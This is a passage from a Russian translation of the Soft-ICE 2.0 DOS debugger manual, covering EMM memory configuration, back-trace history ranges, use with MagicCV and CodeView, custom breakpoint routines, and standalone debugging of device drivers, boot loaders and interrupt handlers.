Чтобы включить область в память EMM 4.0 просто поместите курсор на
желаемую ячейку, затем введите E. Наоборот, чтобы исключить область из памяти
EMM 4.0, поместите курсор на ячейку и введите X. Когда вы будете удовлетворены
вашими изменениями, нажмите F10 для выхода из программы. Все изменения
автоматически сохраняются в файле S-ICE.EXE. Если вы хотите выйти без
изменения S-ICE.EXE, нажмите ESC. Чтобы сделанные в S-ICE.EXE
изменения вступили в силу, вы должны перезагрузиться.
Включая верхние блоки памяти, имейте в виду следующее:
* CGA занимает от B800H до C000H.
* MDA занимает от B000H до B100H.
* Большинство карт Hercules занимает от B000 до C000H.
* EGA занимает от A000H до C000H и от
C000H до C400H.
* VGA (на материнской плате) занимает от A000H до
C000H.
* VGA (съемная карта) занимает от A000H до
C000H и от C000H до C800H.
* Системное ПЗУ PS/2 занимает от E000H до
10000H.
* ПЗУ PS/ 2 ESDI занимает от CC00H до D000H
* Большинство AT-совместимых ПЗУ занимают от F000H до
10000H.
* Compaq-системы, системы с системными платами Micronix
и большинство систем с платами Chips and Technologies
перемещают ПЗУ EGA/VGA в E000H
Однако они все равно так же занимают и область
C000H.
* Сети Token Ring обычно занимают от CC00H
до E000H.
* Многие сети занимают области памяти в
области D000H.
Вышеупомянутые руководящие принципы - для "фирменных" устройств. Многие
исполнения от различных продавцов компьютеров и
продавцов карт адаптеров будут варьировать.
8.3 Другие Возможности EMM
У S-ICE.EXE с переключателем /EMM есть две возможности, которые автоматически
активизируются в зависимости от конфигурации вашей системы. Эти возможности -
наращивание и перемещение страниц.
8.3.1 Увеличение Обычной Памяти
Память системы будет автоматически наращена до первой неотображаемой
страницы. Это означает, что начинается поиск цепочки 'E' с ячейки
1000 и продолжается, пока не будет найден первый несмежный 'E'. Если цепочка
смежных 'E' выйдет за границы основной памяти вашей системы, память
будет наращена до первого R, V или X, который будет найден.
Выгода наращивания - в том, что вы можете увеличивать объем используемой
памяти системы до большего, чем 640КБ. Наращенная память доступна из DOS. Если
вам не нужна наращенная память, используйте EMMSETUP, чтобы сделать страницу
неотображаемой (X) в точке, где вы хотите, чтобы память системы заканчивалась.
Заметьте:
Монохромные системы (MDA) можно наращивать вплоть до B000H, чтобы добавить
дополнительные 64КБ к обычной памяти. CGA-системы могут быть наращены вплоть
до B800, добавляя дополнительные 96КБ к обычной памяти. EGA и VGA-системы
могут быть наращены, только если не будут запускаться графические программы.
Вы можете наращивать EGA или VGA-системы вплоть до B800:0, если не будут
запускаться никакие графические программы.
Предупреждение:
Если память - наращена, НЕ ВЫГРУЖАЙТЕ Soft-ICE. Это вызовет
разрушение системы.
8.3.2 Автоматическое Определение Страниц
Большинство знакомых с EMM программ требуют 64КБ-страницу, не используемую
как нормальная память DOS. Она обычно расположена выше области видео-
устройства. Однако в некоторых системах нет непрерывной области в 64K для
размещения страницы. В этих случаях S-ICE.EXE "крадет" 4 верхние отображаемые
страницы нижней памяти. Как результат - нижняя память DOS урезается на 64КБ.
8.4 EMM-Отладка
Точка останова на диапазон или память, находящаяся в отображаемой области EMM
будет оставаться по этому адресу, неважно какая страница EMM отображается.
При отладке EMM-программы также может быть очень полезна команда EMMMAP.
См. часть 5.6 для большей информации.
Для просмотра или изменения любой зарезервированной страницы EMM
могут использоваться команды D, E, S, F и C. Страница не обязательно в этот
момент должна отображаться. Синтаксис этих команд подобен командам,
используемым для не-EMM страниц, кроме следующего:
* В командах D, E, S и F адресная
часть команды должна быть указана
следующим образом:
Hуказатель# Pстраница# смещение
где указатель - число, определяющее, какой указатель
EMM использовать, страница - число, определяющее, какую
страницу EMM использовать, и смещение - число от 0
до 4000H, определяющее смещение от начала
страницы.
Пример:
DB H1 P3 0
Эта команда выведет дамп байтов со страницы 3
указателя 1, начиная со смещения 0.
* Команда C должна быть указана следующим
образом:
C Hуказатель# Pстраница# смещение1 Lдлина смещение2
где указатель и страница - то же самое, что и выше.
смещение1 - число от 0 до 4000H, определяющее
смещение от начала страницы, где расположен
первый блок данных для сравнения. смещение2 -
число от 0 до 4000H, определяющее смещение
от начала страницы, где расположен второй
блок данных для сравнения.
Пример:
C H2 P4 00 L10 1000
Эта команда будет сравнивать первые 10 байтов памяти,
расположенных по смещению 0 на странице 4 указателя 2
с первыми 10 байтами памяти, расположенными по смещению
1000 на странице 4 указателя 2.
Заметьте:
Последующие использования команд D, E, S, F и C будут продолжать использовать
последние введенные указатель и страницу. Чтобы вернуться к обычной памяти,
используйте одну из вышеупомянутых команд с сегментом, указанным в области
адреса, например:
D 0:0
ГЛАВА 9
9.1 Введение
Soft-ICE может собирать информацию об инструкциях в буфер истории обратной
трассировки во время выполнения вашей программы. Затем, после возникновения
ошибки, эти инструкции можно просмотреть. Это позволяет вам вернуться назад и
повторно пройти программу, чтобы определить фактический поток инструкций,
предшествующих точке останова.
Информация об инструкциях собирается при входе в указанный диапазон адресов,
меньший системного. Диапазоны могут быть от 1 байта до 1 мегабайта,
так что если нужно, может быть получена полная системная информация.
Использование определенных диапазонов вместо сбора всех инструкций полезно
по двум причинам:
1. Буфер истории обратной трассировки не забивается
посторонней информацией, которая вас не интересует.
Например, вам может быть неинтересна
обработка прерываний и выполнение в пределах MS DOS.
2. Диапазоны обратной трассировки снижают производительность системы,
когда они активны. Ограничивая диапазон до интересующей
вас области, вы можете намного увеличить
производительность системы.
У Soft-ICE есть два метода использования инструкций в буфере истории обратной
трассировки:
1. Команда SHOW позволяет вам просматривать
инструкции из буфера истории обратной трассировки.
Вы должны указать, на сколько инструкций в буфере
вы хотите вернуться.
2. Команда TRACE позволяет вам вернуться и заново проиграть
инструкции из буфера истории обратной трассировки.
Таким образом вы может видеть исполнение инструкций
в контексте окружения программного кода или исходного текста.
9.2 Использование Диапазонов Обратной Трассировки
Чтобы использовать диапазоны обратной трассировки,
вы должны сделать следующее:
1. Зарезервировать буфер истории обратной трассировки желаемого
размера, добавив переключатель /TRA в строку S-ICE.EXE в
CONFIG.SYS. Например, чтобы создать буфер истории обратной
трассировки в 100КБ, вы могли бы иметь следующую строку в
вашем файле CONFIG.SYS: DEVICE = S-ICE.EXE /TRA 100
Буфер истории обратной трассировки в 10КБ зарезервирован
по умолчанию. Если это подходит для ваших потребностей, вы можете
не резервировать больший буфер. Размер буфера истории ограничен
только количеством доступной расширенной памяти.
2. Активизировать диапазоны обратной трассировки, создав точку останова
на диапазон памяти опцией T или TW. Например:
BPR 1000:0 2000:0 T
Опции T и TW не вызывают остановов, вместо этого они собирают
информацию об инструкциях, которая затем может выводиться
командами SHOW или TRACE.
3. Установить любые другие точки останова, если это желательно.
4. Выйти из Soft-ICE командой X.
5. После выполнения останова или если вы вызвали Soft-ICE горячей
клавишей, вы можете просмотреть инструкции из буфера командой
SHOW. Например, чтобы вернуться назад на 50 инструкций
в буфере и вывести на экран инструкций, введите:
SHOW 50
6. Чтобы повторно проиграть ряд инструкций, вы должны сначала
войти в режим эмуляции трассировки командой TRACE. Чтобы
начать повторно проигрывать последовательность
инструкций, начиная за 50 команд в буфере, введите:
TRACE 50
7. После того, как вы вошли в режим эмуляции трассировки, вы
может проходить через последовательность инструкций,
используя команды XT, XP или XG. Это позволяет
вам повторно активизировать ход программы. Например,
вы можете пошагово пройти последовательность
инструкций в буфере, начинающейся с инструкции,
указанной в командой TRACE, вводя:
XT
XT
.
.
.
XT
Команда XT пошагово проходит через буфер истории
обратной трассировки. Команда XP производит программные
шаги через буфер истории обратной трассировки.
Команда XG проходит программу до адреса в буфере истории
обратной трассировки.
8. Чтобы выйти из режима эмуляции трассировки, введите:
TRACE OFF
9. Для сброса буфера истории обратной трассировки, используйте
команду X.
9.3 Специальные Примечания
В режиме эмуляции трассировки большинство команд Soft-ICE работает как обычно,
включая вывод карты памяти и вывод и редактирование данных.
Существующие исключения:
1. Информация о регистрах не сохраняется в буфере истории обратной
трассировки, так что значения регистров не изменяются,
когда вы трассируете буфер, кроме значений CS и IP.
2. Команды, которые обычно вызывают выход из Soft-ICE, не
работают в режиме эмуляции трассировки. Это - X,
T, P, G, EXIT.
Когда вы внимательно просматриваете инструкции из буфера истории обратной
трассировки командами SHOW и TRACE, вы можете заметить странности в выполнении
инструкций. Они вызваны скачками в и вовне указанного диапазона. Они обычно
происходят при переходах, вызовах, возвратах и точках входа. Когда у вас
проблема с зависанием или другая трудная ошибка, требующая диапазонов обратной
трассировки, вы часто можете использовать очень большие диапазоны, чтобы
захватить проблемную область. Как только вы получите лучшее представление
об указанной проблемной области, вы перейдете к меньшим диапазонам.
Большие диапазоны обратной трассировки - очень медленные. Используя большие
диапазоны, вы обычно пытаетесь получить общую идею о том, где проблема. У
Soft-ICE есть специальный "ГРУБЫЙ" режим для обработки больших диапазонов. Это
ускоряет диапазоны в три или больше раз, но ограничивает количество инструкций
в буфере истории.
Грубый режим собирает только те инструкции, которые производят запись в память
в пределах указанного диапазона. При повторном проходе инструкций в режиме
эмуляции трассировки после "ГРУБОГО" диапазона вы заметите, что ход происходит
скачками вместо последовательного выполнения инструкций.
Грубые диапазоны работают лучше всего для больших областей и менее эффективны
для маленьких диапазонов.
Чтобы активизировать "ГРУБЫЙ" диапазон обратной трассировки, используйте
команду BPR с опцией TW вместо опции T. Например:
BPR 1000:0 2000:0 TW
Для дальнейшей информации о диапазонах обратной трассировки см. описания
для команд:
SHOW, TRACE, XT, XP, XG, XRSET, BPR
ГЛАВА 10
10.1 Введение
MagicCV позволяет вам выполнять Microsoft CodeView в менее чем 8КБ
стандартной памяти на вашей ЭВМ 80386.
MagicCVW позволяет вам выполнять Microsoft CodeView для Windows в менее
чем 8КБ стандартной памяти на вашей ЭВМ 80386.
Использование Soft-ICE в комбинации с MagicCV или MagicCVW позволяет вам иметь
мощность Soft-ICE при удобстве использования знакомого вам продукта CodeView.
В оставшейся части этой главы, высказывания о MCV будут применимы как
к MagicCV, так и к MagicCVW, и высказывания о CV будут применимы как
к CodeView, так и к CodeView для Windows.
10.2 Запуск Soft-ICE с MagicCV или MagicCVW
Чтобы использовать Soft-ICE 2.0 и MCV вместе, вы должны установить S-ICE.EXE
как загружаемый драйвер устройства. S-ICE.EXE поступает на дискете Soft-ICE.
S-ICE.EXE заменяет NUMEGA.SYS в CONFIG.SYS. Используйте переключатели /MCV,
/EMM и /EXT как при использовании только MagicCV или MagicCVW. Есть добавочные
переключатели, которые вы можете захотеть использовать с Soft-ICE. Обратитесь
к главе 6 для информации относительно этих переключателей.
Чтобы запустить MagicCV или MagicCVW, после того как Soft-ICE загружен,
обратитесь к вашему руководству по MagicCV или MagicCVW.
Примечания:
MagicCVW требует Soft-ICE версии 2.00 или выше.
MagicCV требует Soft-ICE версии 1.02 или выше. Драйверы S-ICE.SYS и
NUMEGA.SYS отправлялись с некоторыми версиями Soft-ICE. Драйверы
S-ICE и NUMEGA
должны быть заменены S-ICE.EXE до того, как вы сможете запустить MagicCV
и Soft-ICE 2.0 вместе.
10.3 Специальные Соображения
Две Виртуальные Машины
Когда вы используете вместе Soft-ICE и MCV, вы должны иметь в виду, что CV
находится в отдельной виртуальной машине от целевого окружения.
Вы можете
вызвать Soft- ICE из любой виртуальной машины, т.е., когда выполняется CV
или когда выполняется целевая программа.
Если вы вызываете Soft-ICE, когда выполняется целевая программа, все работает
как определено в руководстве по Soft-ICE. Если вы вызываете Soft-ICE когда
выполняется CV (обычно при выполнении останова), вы должны иметь в виду
несколько моментов:
* Регистры являются регистрами CV и НЕ МОГУТ
быть изменены.
* Для удобства, команда Soft-ICE, MAP
отображает карту памяти виртуальной машины
целевой программы, а не карту памяти виртуальной
машины CV. Высвеченная область в карте памяти
может быть неправильна.
* Любой вывод или модификация памяти происходит в
виртуальной машине целевой программы.
* У вас нет никакой видимости в виртуальной машине CV
кроме вывода значений регистров.
Не забудьте, что при вызове окна Soft-ICE,
когда активен CV, значения регистров являются
значениями регистров CV и не должны изменяться.
* Когда активен CV, в окне Soft-ICE отключается покомандная и
программная трассировка. Это - чтобы
предотвратить беспорядок, потому что фактически
трассироваться будет CV, а не целевая программа.
Если вы попытаетесь выполнить команду Soft-ICE
Шаг (T) или Программный Шаг (P) когда активен CV,
вы получите предупреждающее сообщение: "Функция
не доступна в виртуальной машине CV". Чтобы
вместо этого трассировать код целевой программы, вы
можете выполнить одну из двух операций:
* Использовать команду трассировки CV. Для этого выйдите
из окна Soft-ICE, используя команду Soft-ICE X,
затем сделайте один или более шагов CV, чтобы
пройти через целевую программу.
* Использовать Soft-ICE, чтобы пройти до адреса
целевой программы, затем использовать команды
Soft-ICE T или P чтобы пройти через вашу целевую
программу. Для этого выйдите из окна Soft-ICE
командой Soft-ICE X, затем нажимайте клавишу
'F3' пока CV не перейдет в "смешанный режим". Это
позволит вам видеть как исходные строки, так и
адреса команд.
Вызовите Soft-ICE. Если
окно Soft-ICE - еще не в узком режиме,
используйте команду Soft-ICE WIN, чтобы
изменить размер окна. Переместите окно Soft-ICE
так, чтобы вы могли видеть адреса команд
в левой стороне экрана. Теперь вы
можете использовать команду Soft-ICE G, чтобы
перейти на один из адресов. Обязательно введите полный адрес,
включая сегмент и смещение.
Затем введите 'G' в окне CV. С этого момента,
CV не активен, так что вы можете использовать
команды Soft-ICE T или P для прохода через
целевую программу.
Команда CodeView SHELL
Если вы выполняете временный выход в DOS из виртуальной машины CodeView,
оболочка DOS - часть виртуальной машины. Из-за этого вы не должны запускать
TSR'ы, когда вы находитесь в оболочке DOS. Если вы это сделаете, когда вы
выйдете из CodeView, TSR исчезнет вместе с виртуальной машиной. Это -
опасно, потому что любой невосстановленный вектор прерывания
может вызвать зависание вашей ЭВМ.
Переключатель CV /R
Soft-ICE пользуется преимуществами многих возможностей 80386, включающих
регистры отладки 80386. Это значит, что регистры отладки не доступны для CV,
так что вы не можете использовать переключатель CV /R при запуске с Soft-ICE.
Если вы используете переключатель /R, Soft-ICE выдаст вам общую ошибку защиты.
В этот момент вы можете нажать 'C', чтобы продолжить, затем повторно запустить
CV без переключателя /R и использовать точки останова Soft-ICE.
Переключатель CV /R работает, когда вы выполняете MCV без Soft-ICE.
10.4 Команда Soft-ICE ACTION
Команда ACTION предоставляет три различных метода активизации CV из точки
останова Soft-ICE. Лучший выбор действия - ACTION NMI. Если вы испытываете
проблемы с ACTION, установленным в NMI ( обычно потому что плата адаптера в
вашей системе использует NMI ), используйте ACTION INT1.
РАЗДЕЛ IV - Дополнительные Темы
ГЛАВА 11
11.1 Использование Soft-ICE с другими Отладчиками
Soft-ICE разрабатывался, чтобы "сотрудничать" с другими отладчиками. Каждый
отладчик предлагает разные возможности и, следовательно, требует специальной
обработки. Этот раздел опишет способы эффективного использования отладчиков.
11.1.1 Отладчики, Использующие DOS
Много отладчиков используют DOS и ROM BIOS, чтобы выполнять их экранный и
клавиатурный ввод/вывод. При использовании этих отладчиков с Soft-ICE (напр.,
DEBUG, SYMDEB и CODEVIEW) должны иметься ввиду определенные соображения, т.к.
DOS и ROM BIOS не полностью реентерабельны. Если останов происходит во время
исполнения кода DOS или BIOS, может возникнуть проблема повторной входимости.
Soft-ICE обеспечивает опциональное предупреждение о повторной входимости,
активируемое командой WARN. Когда включен режим WARN, Soft-ICE проверяет DOS и
ROM BIOS на повторную входимость до выполнения ACTION, активизирующего главный
отладчик. Когда обнаружена проблема повторной входимости, Soft-ICE выводит
предупреждающее сообщение и предлагает вам выбор : продолжить выполнение кода
или вернуться в Soft-ICE.
Обратите внимание, что сам Soft-ICE не использует вызовы DOS или ROM BIOS
в командах отладки. Это значит, что вы можете использовать Soft-ICE в
любое время, не волнуясь о проблемах повторной входимости.
Для большей информации о команде WARN, см. часть 5.4.
11.1.2 Команда ACTION с другими Отладчиками
Различные отладчики используют разные методы активизации. Для описания этих
методов см. часть 13.1.
Если вы хотите возвращаться к вашему отладчику после выполнения останова, вы
должны изменить ACTION (см. раздел 5.4) для работы с вашим отладчиком.
В большинстве случаев действие, которое должно выполняться после останова, -
INT3. Так DEBUG и SYMDEB будут работать лучше всего с ACTION, установленным
на INT3.
Если INT3 не работает с вашим отладчиком, попробуйте INT1 или NMI. CODEVIEW
работает лучше всего с ACTION, установленным на NMI.
11.1.3 Специальные Соображения
Когда установлена точка останова, вы должны быть осторожны, чтобы случайно
ее не вызвать. Так, если вы установите точку останова в памяти в 0:0,
затем используйте ваш отладчик для просмотра дампа памяти в 0:0, будет
вызван Soft-ICE. Если ACTION установлено на вызов вашего отладчика, тогда ваш
отладчик вызовет сам себя. Так как некоторые отладчики - нерентерабильны,
это может быть фатальной проблемой. Эта проблема может также возникнуть с
другими функциями отладки типа редактирования или дизассемблирования.
По этой причине, хорошая практика - отключать точки останова Soft-ICE
как только Soft-ICE поможет вам попасть в точку, где вы хотите осмотреться
при помощи вашего отладчика.
11.1.4 Использование Soft-ICE с CODEVIEW
Soft-ICE лучше всего работает с CODEVIEW, когда CODEVIEW находится либо в
режиме Ассемблера либо в Смешанном режиме. Когда CODEVIEW находится в режиме
исходного текста с языками высокого уровня, он не всегда верно прерывается.
Когда вы хотите, чтобы Soft-ICE вызывал CODEVIEW, лучше всего использовать
ACTION NMI.
11.1.5 Отладчики, Использующие Регистры Точек Останова 80386
80386 имеет 4 регистра точек останова, которые доступны для использования
отладчиками. Soft-ICE использует их для своих точек останова на память
размером в байт, слово и двойное слово. Если отладчик, который вы используете
с Soft-ICE, использует эти отладочные регистры, возникнет конфликт. Есть два
способа решения этой проблемы.
1. Отключите использование регистров точек останова 80386 в
отладчике, с которым вы используете Soft-ICE. Проверьте
документацию другого вашего отладчика для получения
описания того, как это сделать.
2. Некоторые отладчики автоматически используют регистры точек
прерывания, если они обнаруживают процессор 80386 без методов
их отключения (это делают некоторые версии SYMDEB).
Для этих отладчиков сделайте следующее:
* Вызовите окно Soft-ICE прежде, чем вы запустите
другой отладчик.
* Включите режим BREAK Soft-ICE'а командой
BREAK (вы можете захотеть сделать это в
выражении инициализации в S-ICE.DAT, если вы
часто это делаете).
* Запустите ваш другой отладчик.
* При желании вы теперь можете вызвать окно
Soft-ICE и отменить режим BREAK Soft-ICE.
11.2 Пользовательские Точки Останова
Время от времени вам может требоваться очень специфический набор условий
точки останова. Если специальные условия требуют ввода значений регистров или
памяти, вы можете написать подпрограмму спецификации точки останова.
Soft-ICE содержит очень общий механизм для вызова пользовательских
подпрограмм спецификации точек останова: команду ACTION. При использовании
команды ACTION, Soft-ICE может перенаправить все точка останова на специальный
вектор прерывания. Однако, до перенаправления точки останова, в память должна
быть помещена подпрограмма спецификации и вектор прерывания должен указывать
на подпрограмму спецификации.
Все регистры идентичны значениям во время выполнения останова Soft-ICE.
Сохранение и восстановление регистров лежит на ответственности подпрограммы
спецификации. Если ваша подпрограмма спецификации обнаруживает соответствие
условий точка останова, она может выполнить множество действий. Вот некоторые
примеры полезных действий, которые подпрограмма может выполнить, когда
обнаружено соответствие:
* сохранить информацию на будущее
* послать информацию прямо на принтер или последовательный
терминал
* выполнить команду INT 3, чтобы вызвать Soft-ICE
Команда I3HERE должна быть включена, чтобы
INT 3 вызывал Soft-ICE (см. часть 5.4).
Если условия не выполняются, подпрограмма спецификации должна выполнить
команду IRET. Подведем итог:
1. Создайте подпрограмму спецификации точки останова в вашей
области кода или где-нибудь в свободной памяти.
Подпрограмма должна сохранять регистры. После проверки
желаемых условий, подпрограмма может выполнить либо INT 3,
чтобы вызвать Soft-ICE, либо IRET, чтобы продолжить исполнение.
2. Направьте неиспользуемый вектор прерывания на вашу подпрограмму
спецификации. Это может быть выполнено либо из вашего кода
либо из Soft-ICE.
3. В Soft-ICE установите ACTION на номер-прерывания, который был
использован, чтобы указывать на вашу подпрограмму спецификации.
4. В Soft- ICE установите I3HERE ON. Это необходимо, чтобы вызвать
Soft-ICE после того, как были выполнены условия.
5. Установите общие условия точки останова Soft-ICE.
Когда выполнится любое из этих условий точки останова,
будет вызвана ваша подпрограмма спецификации.
11.2.1 Пример Пользовательской Точки Останова
Эта часть содержит пример пользовательской точки останова, которая
проверяет условия AX = 3, BX = 4 и CX = 5, когда происходит выполнение
точки останова.
Сначала мы создаем подпрограмму спецификации. Для целей этого примера,
мы будем транслировать команды прямо в память при помощи интерактивного
ассемблера Soft-ICE. Для этого примера мы будем произвольно транслировать
подпрограмму с ячейки 9000:0H. В Soft-ICE, при этом, вводятся следующие
выражения:
A 9000:0
9000:0 CMP AX,3
9000:3 JNE 10
9000:5 CMP BX,4
9000:7 JNE 10
9000:A CMP CX,5
9000:D JNE 10
9000:F INT3
9000:10 IRET
Теперь, когда подпрограмма находится в памяти, вы должны направить на нее
вектор прерывания. Для этого примера, мы произвольно выбираем INT 99H. Чтобы
поместить 9000:0H в вектор INT 99H, введите:
ED 0:99*4 9000:0
Установите команду ACTION, чтобы Soft-ICE вызывал вашу подпрограмму
спецификации точки останова при каждом останове.
ACTION 99
Установите I3HERE, чтобы подпрограмма спецификации активизировала Soft-ICE
при выполнении условий.
I3HERE ON
Теперь вы должны установить точки останова. Для этого примера, нас
интересует только когда регистры: AX = 3, BX = 4, CX = 5 в специфической
программе и нам не нужно никаких дальнейших уточнений. Чтобы это сделать,
используйте точку останова на диапазон на чтение памяти:
BPR сегмент:начальное-смещения сегмент:конечное-смещение
Это вызовет обращение к вашей подпрограмме спецификации точки останова после
выполнения каждой команды в указанном диапазоне памяти. Когда условия по
регистрам не выполняются, тогда выполняется команда IRET.
Когда условия, наконец, будут соответствовать указанным выражениям, будет
выполнен INT 3 и вызван Soft-ICE.
Когда вызван Soft-ICE, указатель команд будет указывать на INT3
в вашей подпрограмме спецификации (9000:FH в нашем примере). Чтобы попасть на
инструкцию после той, которая вызвала останов, вы должны изменить
указатель команд, чтобы он указывал на команду IRET (F000:10H в
примере) и выполнить один шаг. Это выполняется при помощи следующих
команд Soft-ICE
RIP IP + 1
T
После выполнения ваших условий останова, не забудьте изменить команду ACTION
обратно на ACTION HERE, чтобы последующие точки останова не проходили через
вашу подпрограмму спецификации.
11.3 Окно в Графическом Режиме
При вызове Soft-ICE экран переключается в текстовый режим. Если экран был
в графическом режиме или режиме с 40 столбцами, графический дисплей не видим, то
когда окно вызвано. Для пользователей, которые должны видеть графический
дисплей при отладке, обеспечиваются три возможности. Первая возможность
позволяет выводить окно Soft-ICE на второй монитор (см. команду ALTSCR,
часть 5.9). Вторая возможность позволяет вам восстанавливать экран во
время выполнения командных шагов P или T (см. команду FLASH, часть
5.9). Третья возможность позволяет вам временно восстанавливать экран
программы (см. команду RS, часть 5.9).
Если не похоже, что Soft-ICE работает с вашей программой в графическом режиме,
пробуйте включать WATCHV (для подробностей см. часть 5.9).
11.4 Возможности Отладки с Отображаемой Памятью
Точка останова на диапазон или память, находящаяся в отображаемой области EMM
будет оставаться по этому адресу, неважно какая страница EMM отображается.
При отладке EMM-программы также может быть очень полезна команда EMMMAP.
См. часть 5.6 для большей информации.
Для просмотра или изменения любой зарезервированной страницы EMM
могут использоваться команды D, E, S, F и C. Страница не обязательно в этот
момент должна отображаться. Синтаксис этих команд подобен командам,
используемым для не-EMM страниц, кроме следующего:
* В командах D, E, S и F адресная
часть команды должна быть указана
следующим образом:
Hуказатель# Pстраница# смещение
где указатель - число, определяющее, какой указатель
EMM использовать, страница - число, определяющее, какую
страницу EMM использовать, и смещение - число от 0
до 4000H, определяющее смещение от начала
страницы.
Пример:
DB H1 P3 0
Эта команда выведет дамп байтов со страницы 3
указателя 1, начиная со смещения 0.
* Команда C должна быть указана следующим
образом:
C Hуказатель# Pстраница# смещение1 Lдлина смещение2
где указатель и страница - то же самое, что и выше.
смещение1 - число от 0 до 4000H, определяющее
смещение от начала страницы, где расположен
первый блок данных для сравнения. смещение2 -
число от 0 до 4000H, определяющее смещение
от начала страницы, где расположен второй
блок данных для сравнения.
Пример:
C H2 P4 00 L10 1000
Эта команда будет сравнивать первые 10 байтов памяти,
расположенных по смещению 0 на странице 4 указателя 2
с первыми 10 байтами памяти, расположенными по смещению
1000 на странице 4 указателя 2.
Заметьте:
Последующие использования команд D, E, S, F и C будут продолжать использовать
последние введенные указатель и страницу. Чтобы вернуться к обычной памяти,
используйте одну из вышеупомянутых
команд с сегментом, указанным в области адреса, например:
D 0:0
11.5 Возможности Отладки с Расширенной Памятью
Команды D, E, S, F и C могут использоваться, чтобы просматривать или изменять
расширенную память. Расширенная память, зарезервированная Soft-ICE, не может
выводиться на экран. Синтаксис этих команд подобен командам, используемым
для стандартной памяти:
* В командах D, E, S и F адресная
часть команды должна указываться
следующим образом:
M адрес мегабайта
где мегабайт - номер, определяющий какой
мегабайт использовать и адрес определяет адрес
в указанном мегабайте.
Пример:
DB M 2 0:0
Эта команда выведет дамп байтов с начала
мегабайта, начинающегося с линейного адреса 200000H.
* Команда C должна указываться следующим
образом:
C M мегабайт адрес1 L длина адрес2
Где мегабайт и адрес1 - то же, что и выше.
адрес2 определяет адрес в указанном мегабайте,
где находится второй блок данных
для сравнения.
Пример:
C M 3 1000:2000 L10 3000:4000
Эта команда будет сравнивать первые 10 байтов
памяти, размещенной с 1000:2000, с первыми 10 байтами
памяти, размещенной с 3000:4000.
Заметьте:
Последующие использования команд D, E, S, F и C будут продолжать использовать
последний указанный мегабайт. Чтобы вернуться к мегабайту 0 (стандартная
память), выполните одну из вышеупомянутых команд с 0, указанным как мегабайт,
например:
D M 0
ГЛАВА 12
В автономном режиме Soft-ICE может быть мощным инструментом. Эта часть
описывает технику отладки компонентов системного уровня, используя Soft-ICE в
автономном режиме. При использовании Soft-ICE как автономного отладчика,
ACTION должна быть установлена на HERE.
12.1 Загружаемые Драйверы Устройств
Отладка загружаемых драйверов устройств DOS требует отладчика, который не
выполняет вызовов DOS. Soft-ICE может использоваться в автономном режиме, если
ваш отладчик использует DOS.
Есть два метода отладки загружаемых драйверов устройств:
1. Используйте команду MAP, чтобы найти расположение вашего
загружаемого драйвера. Просмотрите заголовок драйвера устройства,
чтобы найти точку входа в прерывание или стратегию.
Установка точки останова на вход в стратегию или прерывание
даст вам контроль над драйвером устройства. Далее трассируйте
или устанавливайте точки останова для продолжения отладки.
Отладка кода инициализации драйвера устройства
требует сброса системы командой BOOT.
Используйте вышеописанную методику для установки
точки останова в коде драйвера. Команда
BOOT будет сохранять Soft-ICE и точки останова.
2. Второй метод требует размещения специального кода в
вашем драйвере. Сделайте это при помощи команды
I3HERE ON (см. раздел 5.4). Поместите опкод INT 3
(CCH) в ваш драйвер устройства в точке, где
необходим контроль.
Когда выполняется INT 3,
управление переходит к Soft-ICE. Затем вы можете использовать
команду R IP для установки указателя команд для переходов
до и после опкода INT 3.
Если вы хотите отлаживать вашу последовательность инициализации,
удостоверьтесь, что Soft-ICE загружается в CONFIG.SYS до драйвера, который вы
пытаетесь отлаживать. Поместите команду I3HERE ON
в строку установок в S-ICE.DAT. При этом методе вам не нужно использовать
команду BOOT.
Если вы отлаживаете ваш драйвер устройства с символами или по исходному тексту,
вы должны загрузить файл символов и исходные файлы отдельно от драйвера
устройства. Файл символов и исходные файлы загружаются загрузчиком программ
Soft-ICE LDR.EXE. Когда LDR.EXE используется, чтобы загружать только символы и
исходный текст, вы должны использовать его в форме:
LDR название-файла.SYM
Должно быть указано расширение файла символов. См. часть 7.4 для больших
подробностей относительно LDR.EXE.
После загрузки файла символов и исходных файлов при помощи LDR.EXE вы должны
войти в Soft-ICE и переместить символы относительно начала вашего драйвера
устройства. Символы перемещаются командой Soft-ICE SYMLOC. Синтаксис команды
SYMLOC:
SYMLOC сегмент
Значение сегмента получается из команды MAP. См. описание команды SYMLOC для
больших подробностей.
12.2 Программы Начальной Загрузки
Отладка программ начальной загрузки или самозагружающихся программ требует
использования Soft-ICE как автономного отладчика. Вы должны сначала загрузить
DOS и запустить Soft-ICE. Самый простой метод отладки программ начальной
загрузки - установка точки останова на известный адрес в загрузчике и затем
использование команды BOOT для сброса системы. Soft-ICE сохраняется во время
всего процесса начальной загрузки с установленными точками останова. Если
тяжело найти известный адрес, то можно установить точку останова на
выполнение в 7C0:0H перед использованием
команды BOOT. Это - адрес, по которому ROM BIOS загружает сектор начальной
загрузки в память.
Другой метод требует включения режима I3HERE (см. часть 5.4). Поместите опкод
INT 3 (CCH) в вашу программу в точке, где необходим контроль.
Когда выполняется INT 3, управление приходит к Soft-ICE.
Вы также можете использовать как символьную, так и отладку по исходному тексту
при отладке программы начальной загрузки. См. команду SYMLOC для большей
информации о том, как переместить ваши символы и исходный текст в сегмент, в
который загружена ваша программа начальной загрузки.
12.3 Обработчики Прерываний
Soft-ICE позволяет устанавливать точки останова и пошагово выполнять
подпрограммы обслуживания аппаратных прерываний (таймер, клавиатура и т.д.).
Пошаговое выполнение и установка точек останова в программах обработки
прерывания поддерживается Soft-ICE. Вы даже можете трассировать обработчик
прерывания клавиатуры, когда Soft-ICE использует клавиатуру для ввода.
В большинстве случаев при отладке программ обработки прерываний, Soft-ICE
должен использоваться как автономный отладчик. Чтобы установить точку останова
на адрес обработчика прерывания, используйте один из следующих методов:
1. Используйте команду вывода двойного слова:
DD номер-прерывания * 4 L 1
Выведенный адрес - адрес первой
команды обработчика прерывания. Установите
точку останова на выполнения на этот адрес.
2. Используйте команду:
BPINT номер-прерывания
12.4 Операционные Системы, Отличные от DOS (non-DOS)
При помощи Soft-ICE могут отлаживаться операционные системы режима реальной
адресации, отличные от DOS. Если операционная система слабо совместима с DOS,
вы должны загрузить Soft-ICE под DOS, а затем использовать команду BOOT, чтобы
запустить другую операционную систему. Следуйте инструкциям для отладки
блоков начальной загрузки и самозагружающихся программ из раздела 12.2.
Команды MAP и WARN могут неправильно функционировать под другими
операционными системами, но точки останова и другие отладочные команды будут
работать правильно.
При отладке с символами или исходным текстом вы должны загрузить символьные
и исходные файлы под DOS или в DOS-совместимом режиме вашей
операционной системы.
ГЛАВА 13
13.1 Активизация Других Отладчиков
